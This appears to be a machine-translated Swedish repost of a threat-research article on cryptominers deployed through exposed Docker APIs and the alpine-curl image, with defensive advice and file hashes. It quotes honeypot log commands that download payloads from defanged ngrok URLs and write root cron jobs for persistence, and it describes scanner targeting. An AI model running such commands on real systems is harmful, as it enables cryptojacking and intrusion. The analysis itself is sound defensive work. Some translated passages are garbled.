Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta

Vi analyserade data som samlats in med hjÀlp av honeypot-behÄllare, som vi skapade för att spÄra hot. Och vi upptÀckte betydande aktivitet frÄn oönskade eller obehöriga kryptovalutagruvarbetare utplacerade som oseriösa behÄllare med hjÀlp av en community-publicerad bild pÄ Docker Hub. Bilden anvÀnds som en del av en tjÀnst som levererar skadliga gruvarbetare i kryptovaluta.

Dessutom installeras program för att arbeta med nÀtverk för att penetrera öppna nÀrliggande containrar och applikationer.

Vi lÀmnar vÄra honeypots som de Àr, det vill sÀga med standardinstÀllningar, utan nÄgra sÀkerhetsÄtgÀrder eller efterföljande installation av ytterligare programvara. Observera att Docker har rekommendationer för initial installation för att undvika fel och enkla sÄrbarheter. Men honungskrukorna som anvÀnds Àr behÄllare, designade för att upptÀcka attacker riktade mot containeriseringsplattformen, inte applikationerna inuti behÄllarna.

Den upptÀckta skadliga aktiviteten Àr ocksÄ anmÀrkningsvÀrd eftersom den inte krÀver sÄrbarheter och Àr ocksÄ oberoende av Docker-versionen. Att hitta en felaktigt konfigurerad och dÀrför öppen containerbild Àr allt som angripare behöver för att infektera mÄnga öppna servrar.

Den ostÀngda Docker API lÄter anvÀndaren utföra ett brett utbud av lag, inklusive att fÄ en lista över körande behÄllare, hÀmta loggar frÄn en specifik behÄllare, starta, stoppa (inklusive tvingad) och till och med skapa en ny behÄllare frÄn en specifik bild med specificerade instÀllningar.

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
Till vÀnster Àr leveransmetoden för skadlig programvara. Till höger finns angriparens miljö, som möjliggör fjÀrrrullning av bilder.

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
Fördelning per land av 3762 öppna Docker API:er. Baserat pÄ Shodan-sökning daterad 12.02.2019-XNUMX-XNUMX

Alternativ för attackkedja och nyttolast

Skadlig aktivitet upptÀcktes inte bara med hjÀlp av honungskrukor. Data frÄn Shodan visar att antalet exponerade Docker-API:er (se andra grafen) har ökat sedan vi undersökte en felkonfigurerad behÄllare som anvÀndes som en brygga för att distribuera Monero-programvara för brytning av kryptovaluta. I oktober förra Äret (2018, aktuella uppgifter du kan se ut sÄ hÀr cirka. översÀttare) fanns det bara 856 öppna API:er.

En granskning av honeypot-loggarna visade att anvÀndningen av containerbilder ocksÄ var förknippad med anvÀndningen av ngrok, ett verktyg för att upprÀtta sÀkra anslutningar eller vidarebefordra trafik frÄn allmÀnt tillgÀngliga punkter till specificerade adresser eller resurser (till exempel localhost). Detta tillÄter angripare att dynamiskt skapa webbadresser nÀr de levererar nyttolast till en öppen server. Nedan Àr kodexempel frÄn loggarna som visar missbruk av ngrok-tjÀnsten:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Som du kan se laddas de uppladdade filerna ner frÄn webbadresser som stÀndigt Àndras. Dessa webbadresser har ett kort utgÄngsdatum, sÄ nyttolaster kan inte laddas ner efter utgÄngsdatumet.

Det finns tvÄ alternativ för nyttolast. Det första Àr en kompilerad miner i ELF-format för Linux (identifierad som Coinminer.SH.MALXMR.ATNO), som ansluter till miningpoolen. Det andra Àr ett skript (TrojanSpy.SH.ZNETMAP.A), utformat för att hÀmta vissa nÀtverksverktyg som anvÀnds för att skanna nÀtverksomrÄden och sedan söka efter nya mÄl.

Dropper-skriptet stÀller in tvÄ variabler, som sedan anvÀnds för att distribuera kryptovalutaminer. HOST-variabeln innehÄller URL:en dÀr de skadliga filerna finns, och RIP-variabeln Àr filnamnet (i sjÀlva verket hashen) för gruvarbetaren som ska distribueras. Variabeln HOST Àndras varje gÄng hashvariabeln Àndras. Skriptet försöker ocksÄ kontrollera att inga andra gruvarbetare för kryptovaluta körs pÄ den attackerade servern.

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
Exempel pÄ HOST- och RIP-variabler, samt ett kodavsnitt som anvÀnds för att kontrollera att inga andra gruvarbetare körs

Innan minern startas byter den namn till nginx. Andra versioner av detta skript byter namn pÄ minern till andra legitima tjÀnster som kan finnas i miljön. LinuxDetta rÀcker vanligtvis för att kringgÄ kontroller i listan över körande processer.

Sökskriptet har ocksÄ funktioner. Det fungerar med samma URL-tjÀnst för att distribuera nödvÀndiga verktyg. Bland dem Àr zmap binÀr, som anvÀnds för att skanna nÀtverk och fÄ en lista över öppna portar. Skriptet laddar ocksÄ en annan binÀr som anvÀnds för att interagera med de hittade tjÀnsterna och ta emot banners frÄn dem för att faststÀlla ytterligare information om den hittade tjÀnsten (till exempel dess version).

Skriptet bestĂ€mmer ocksĂ„ vissa nĂ€tverksintervall som ska skannas, men detta beror pĂ„ versionen av skriptet. Den stĂ€ller ocksĂ„ in mĂ„lportarna frĂ„n tjĂ€nsterna – i det hĂ€r fallet Docker – innan skanningen körs.

NÀr potentiella mÄl hittas tas banners automatiskt bort frÄn dem. Skriptet filtrerar ocksÄ mÄl baserat pÄ de tjÀnster, applikationer, komponenter eller plattformar det Àr intresserad av: Redis, Jenkins, Drupal, MODX, Kubernetes mÀstare, Docker 1.16-klient och Apache CouchDB. Om den skannade servern matchar nÄgon av dem sparas den i en textfil, som angripare senare kan anvÀnda för efterföljande analys och hackning. Dessa textfiler laddas upp till angriparnas servrar via dynamiska lÀnkar. Det vill sÀga att en separat URL anvÀnds för varje fil, vilket gör att efterföljande Ätkomst Àr svÄr.

Attackvektorn Àr en Docker-bild, vilket kan ses i de följande tvÄ kodbitarna.

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
LÀngst upp Àr att byta namn till en legitim tjÀnst, och lÀngst ner Àr hur zmap anvÀnds för att skanna nÀtverk

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
Överst finns fördefinierade nĂ€tverksintervall, lĂ€ngst ner finns specifika portar för att söka efter tjĂ€nster, inklusive Docker

Hur det icke-proprietÀra Docker API och offentliga bilder frÄn communityn anvÀnds för att distribuera gruvarbetare för kryptovaluta
SkÀrmdumpen visar att alpin-curl-bilden har laddats ner mer Àn 10 miljoner gÄnger

Baserat pÄ Alpine Linux och curl, ett resurseffektivt CLI-verktyg för att överföra filer över olika protokoll, kan kompileras Docker-bild. Som du kan se i föregÄende bild har den hÀr bilden redan laddats ner mer Àn 10 miljoner gÄnger. Ett stort antal nedladdningar kan innebÀra att du anvÀnder den hÀr bilden som en ingÄngspunkt; den hÀr bilden uppdaterades för mer Àn sex mÄnader sedan; anvÀndare laddade inte ner andra bilder frÄn det hÀr arkivet sÄ ofta. I Docker ingÄngspunkt - en uppsÀttning instruktioner som anvÀnds för att konfigurera en container för att köra den. Om ingÄngspunktsinstÀllningarna Àr felaktiga (till exempel om behÄllaren lÀmnas öppen frÄn Internet) kan bilden anvÀndas som en attackvektor. Angripare kan anvÀnda den för att leverera en nyttolast om de hittar en felkonfigurerad eller öppen container som inte stöds.

Det Àr viktigt att notera att denna bild (alpin-curl) i sig inte Àr skadlig, men som du kan se ovan kan den anvÀndas för att utföra skadliga funktioner. Liknande Docker-bilder kan ocksÄ anvÀndas för att utföra skadliga aktiviteter. Vi kontaktade Docker och arbetade med dem i denna frÄga.

Rekommendationer

Felaktig instÀllning förblir konstant problem för mÄnga företag, sÀrskilt de som implementerar DevOps, fokuserat pÄ snabb utveckling och leverans. Allt förvÀrras av behovet av att följa revisions- och övervakningsreglerna, behovet av att övervaka datakonfidentialitet, sÄvÀl som den enorma skadan frÄn deras bristande efterlevnad. Att införliva sÀkerhetsautomation i utvecklingens livscykel hjÀlper dig inte bara att hitta sÀkerhetshÄl som annars skulle kunna förbli oupptÀckta, utan det hjÀlper dig ocksÄ att minska onödig arbetsbelastning, som att köra ytterligare programvarubyggen för varje upptÀckt sÄrbarhet eller felkonfiguration efter att en applikation har distribuerats.

Incidenten som diskuteras i den hÀr artikeln belyser behovet av att ta hÀnsyn till sÀkerheten frÄn början, inklusive följande rekommendationer:

  • För systemadministratörer och utvecklare: Kontrollera alltid dina API-instĂ€llningar för att se till att allt Ă€r konfigurerat för att endast acceptera förfrĂ„gningar frĂ„n en specifik server eller internt nĂ€tverk.
  • Följ principen om minsta rĂ€ttigheter: se till att behĂ„llarbilder Ă€r signerade och verifierade, begrĂ€nsa Ă„tkomst till kritiska komponenter (container launch service) och lĂ€gg till kryptering till nĂ€tverksanslutningar.
  • Följ rekommendationer och möjliggöra sĂ€kerhetsmekanismer, t.ex. frĂ„n Docker och inbyggd sĂ€kerhetsfunktioner.
  • AnvĂ€nd automatisk genomsökning av körtider och bilder för att fĂ„ ytterligare information om processerna som körs i behĂ„llaren (till exempel för att upptĂ€cka spoofing eller söka efter sĂ„rbarheter). Programkontroll och integritetsövervakning hjĂ€lper till att spĂ„ra onormala Ă€ndringar av servrar, filer och systemomrĂ„den.

Trendmicro hjÀlper DevOps-team att bygga sÀkert, rulla ut snabbt och lansera var som helst. Trend Micro Hybrid molnsÀkerhet Ger kraftfull, strömlinjeformad och automatiserad sÀkerhet över en organisations DevOps-pipeline och tillhandahÄller flera hotförsvar XGen för att skydda fysiska, virtuella och molnbelastningar vid körning. Det lÀgger ocksÄ till containersÀkerhet med Djup sÀkerhet О Deep Security Smart Check, som skannar Docker-containerbilder efter skadlig programvara och sÄrbarheter nÀr som helst i utvecklingspipelinen för att förhindra hot innan de distribueras.

Tecken pÄ kompromiss

Relaterade hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

PĂ„ Docker videokurs Övande högtalare visar vilka instĂ€llningar som mĂ„ste göras först för att minimera sannolikheten eller helt undvika att den situation som beskrivs ovan uppstĂ„r. Och den 19-21 augusti pĂ„ en onlineintensiv DevOps-verktyg och fusk Du kan diskutera dessa och liknande sĂ€kerhetsproblem med kollegor och praktiserande lĂ€rare vid ett rundabordsbord, dĂ€r alla kan tala ut och lyssna pĂ„ erfarna kollegors smĂ€rtor och framgĂ„ngar.

KĂ€lla: will.com

Köp pĂ„litlig hosting för webbplatser med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster